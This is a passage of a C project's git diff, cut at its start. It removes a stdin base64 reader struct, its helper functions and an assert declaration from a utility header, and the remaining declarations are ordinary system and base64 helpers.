} - } - - return ret; -} - bool prne_set_pipe_size (const int fd, const int size) { return #if defined(F_SETPIPE_SZ) diff --git a/src/util_rt.h b/src/util_rt.h index ef241fc..668a01b 100644 --- a/src/util_rt.h +++ b/src/util_rt.h @@ -11,17 +11,6 @@ #include -struct prne_stdin_base64_rf_ctx; -typedef struct prne_stdin_base64_rf_ctx prne_stdin_base64_rf_ctx_t; - -struct prne_stdin_base64_rf_ctx { - size_t line_len; - size_t out_len; - char line_buf[78]; - uint8_t out_buf[58]; -}; - - #if 0 bool prne_strendsw (const char *str, const char *w) { const size_t len_str = strlen(str); @@ -34,7 +23,6 @@ bool prne_strendsw (const char *str, const char *w) { } #endif -void prne_assert (const bool ret); void prne_empty_func (void); void prne_close (const int fd); void prne_shutdown (const int fd, const int how); @@ -67,9 +55,6 @@ struct timespec prne_gettime (const clockid_t cid); char *prne_enc_base64_mem (const uint8_t *data, const size_t size); bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size); -void prne_init_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx); -void prne_free_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx); -prne_pack_ret_t prne_stdin_base64_rf (void *ctx, const size_t req, uint8_t *out, size_t *out_len); bool prne_set_pipe_size (const int fd, const int size); -- cgit